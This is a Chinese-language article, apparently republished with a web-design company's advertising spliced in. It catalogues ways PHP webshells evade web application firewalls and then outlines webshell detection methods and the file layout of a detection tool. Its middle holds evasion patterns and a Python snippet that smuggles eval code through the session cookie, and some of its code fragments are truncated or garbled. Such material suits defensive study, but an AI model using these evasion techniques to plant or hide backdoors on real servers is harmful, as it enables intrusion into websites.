這篇文章主要介紹PHP中waf webshell的示例分析,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
我們提供的服務(wù)有:成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、微信公眾號(hào)開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、福綿ssl等。為上1000+企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的福綿網(wǎng)站制作公司常見繞過WAF的PHP webshell
字符串變形
大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾
ucwords() ucfirst() trim() substr_replace() substr() strtr() strtoupper() strtolower() strtok() str_rot13() chr() gzcompress()、gzdeflate()、gzencode() gzuncompress()、gzinflate()、gzdecode() base64_encode() base64_decode() pack() unpack()
自寫函數(shù)
利用 assert()
回調(diào)函數(shù)
call_user_func_array() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive() forward_static_call_array()
類
利用魔術(shù)方法、析構(gòu)函數(shù) __destruct() , __construct()
a"); } } $b = new test; $b->a = $_POST['x']; ?>
利用外部文件
利用 curl , fsockopen 等發(fā)起網(wǎng)絡(luò)請(qǐng)求再結(jié)合 file_get_contents
無字符特征馬
編碼、異或、自增
特殊請(qǐng)求頭
利用 getallheaders()
全局變量
利用 getenv() , arrag_flip() , get_defined_vars() , session_id()
import requests url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));' payload = "phpinfo();".encode('hex') cookies = { 'PHPSESSID':payload } r = requests.get(url=url,cookies=cookies) print r.content
PHP混淆加解密
以phpjiami為例
就是將函數(shù)名、變量名全部變成”亂碼”,且改動(dòng)任意一個(gè)地方,都將導(dǎo)致文件不能運(yùn)行。具體可訪問: https://www.phpjiami.com/
PHP webshell檢測(cè)方法
目前我所了解的webshell檢測(cè)方式有:
機(jī)器學(xué)習(xí)檢測(cè)webshell:比如混淆度、最長(zhǎng)單詞、重合指數(shù)、特征、壓縮比等
動(dòng)態(tài)檢測(cè)(沙箱)
基于流量模式檢測(cè)webshell:agent
逆向算法+靜態(tài)匹配檢測(cè)webshell:比如D盾webshell查殺
根據(jù)文件入度出度來檢測(cè)
實(shí)例展示
這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬
可以明顯看到明顯的webshell規(guī)則了,這樣再用靜態(tài)規(guī)則、正則等即可輕松檢測(cè)到。
簡(jiǎn)單檢測(cè)思路
檢測(cè)思路:
文件上傳->文件包含->獲取所有文件中的變量到臨時(shí)文件中->靜態(tài)規(guī)則匹配臨時(shí)文件->返回匹配結(jié)果
├── __init__.py
├── conf
│ ├── __init__.py
│ ├── config.py
├── core
│ ├── __init__.py
│ ├── all_check.py
│ ├── data_mysql.py
│ └── file_inotify.py
├── lib
│ ├── __init__.py
│ └── semantic_analysis_api.py
├── test
│ ├── __init__.py
│ ├── file_md5_move.py
│ ├── os_check.py
│ ├── random_file_test.py
│ └── ...
├── web
│ ├── static
│ │ ├── css
│ │ │ ├── main.css
│ │ ├── images
│ │ │ └── background.jpg
│ │ └── js
│ │ └── upload.js
│ ├── templates
│ │ ├── index.html
│ ├── upload_file.php
│ └── include_file_to_tmp.php
├── webshell_check.py
conf中包含的是諸如下列的靜態(tài)檢測(cè)規(guī)則
以上是“PHP中waf webshell的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!